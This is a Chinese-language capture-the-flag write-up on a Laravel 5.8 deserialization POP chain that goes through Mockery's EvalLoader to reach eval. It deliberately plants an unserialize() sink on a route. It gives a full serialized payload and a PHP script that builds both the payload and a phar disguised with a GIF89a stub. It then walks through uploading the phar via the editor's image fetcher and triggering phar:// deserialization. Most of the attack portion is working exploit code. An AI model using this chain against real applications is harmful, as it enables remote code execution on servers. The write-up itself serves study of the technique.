code-breaking(二)
续上文的code-breaking,本文带来其中的一道中等难度题目,名为lumenserial,为laravel反序列化,利用的是mockery组件的反序列化pop链,本文不着重于题目的做法,而着重于pop链的分析,因此本文是从payload开始debug出整条链,感兴趣的读者可以跟着一起调试。
环境
择一个合适的目录运行如下命令
composer create-project --prefer-dist laravel/laravel laravel58
接下来我们需要往环境里面加个反序列化点,根据文档:https://learnku.com/docs/laravel/5.8/routing/3890
路由文件位于:routes/web.php
直接在路由位置添加代码:
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
至于选择什么环境去调试我就不多说了,下面开始审计。
payload
笔者想从payload逐步调试出这条链,因此先给出payload:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
访问:http://127.0.0.1:9002/foo?c=payload
后开始调试。
调试
链的入口位于Illuminate\Broadcasting\PendingBroadcast
的__destruct()
方法,但调试时会发现在运行到该方法之前会先进行autoload,这是因为我们要加载的类在我们反序列化的页面中没有通过include或者其他方式加载进来,因此触发autoload,而类通过spl_autoload_register注册之后就会通过spl_autoload_call尝试调用已注册的类。

而其后所做的事情无非是通过我们的命名空间找到对应的文件然后进行包含,如下:

function includeFile($file)
{
include $file;
}
然后再去寻找下一个类:

了解了该过程后便无需过多调试,直接进入正题,开始我们的pop审计,因此我们多次step out直到看见我们的__destruct
。

我们的events必须要有dispatch方法或者存在一个call方法,按照链是寻找一个具有dispatch的方法,全局搜一下dispatch发现符合条件的只有Illuminate\Bus\Dispatcher
,我们尝试单步执行发现确实到了此处,看一下他的dispatch方法:

此处的command参数自然是我们的$this->event
,此处涉及到三个函数,分别查看一下这三个函数有没有什么可以利用的地方。
commandShouldBeQueued
:
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
此处是判断我们的command是否是ShouldQueue的实例,如果是则为true。
dispatchToQueue
:

注意到这里有一个call_user_func,函数执行点get到了,他的两个参数都是可控的,因此该函数存在着可以被利用的点,那么后面的dispatchNow就可以不用管了。
前面说到要进入dispatchToQueue需要满足commandShouldBeQueued的判断,找一下会发现ShouldQueue类它是一个接口,那么全局搜索一下实现了这个接口的类。

p牛的链中使用的是第二个BroadcastEvent,但其实分析一下就知道了使用哪个类都不影响,因为这个类所需要的只是满足是ShouldQueue接口的实现类,因此$this->event
或者说$command
就可以确定了,而command的connection属性就是call_user_func所要调用的函数的参数,那接下来就是寻找执行任意命令的函数(因为call_user_func无法执行eval函数。)
继续调试会进入到Mockery\Loader\EvalLoader的load方法,很明显的能够看到一个eval,但前面还有一个if需要绕一下:

注意到这里的$definition
需要是MockDefinition类,看到该类:

code可控的话,代表要执行的代码可控,此处先不论,需要找一个类其getname是可控的,然后构造一个不存在的类即可,继续调试会发现进入了Mockery\Generator\MockConfiguration类:

这里的name可控至此链就完结了,可以根据此写出payload:
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '<?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
$p = new Phar('./exploit.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($pendingBroadcast);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}
回到题目中,我们直入app下的控制器,看到其内的editor控制器中存在着一个download函数,其中的url是参数,我们可以利用其来上传文件,但遗憾的是文件仅限于图片,如图:

了解到该editor调用控制器的方式是通过call_user_func来调用带do开头的控制器,这里找到了doCatchimage调用了download:

找到config['catcherFieldName']的值是source,因此我们可以以:
GET /server/editor?action=Catchimage&source[]=https://aaa.com/1.png
的形式来上传一张图片,因此也可以上传一个phar然后进行phar反序列化。
将前面的payload运行即可得到phar包后改个后缀放到vps然后上传:
/server/editor?action=Catchimage&source[]=https://vps/exploit.gif
最后访问
/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/a0dffb129fffa47f1dd582d481c28717/202103/17/099af2dc841c828c413e.gif
可以看到此处禁了部分函数:

但无关紧要,用这部分函数之外的函数也就足以getflag了,本文就不过多叙述。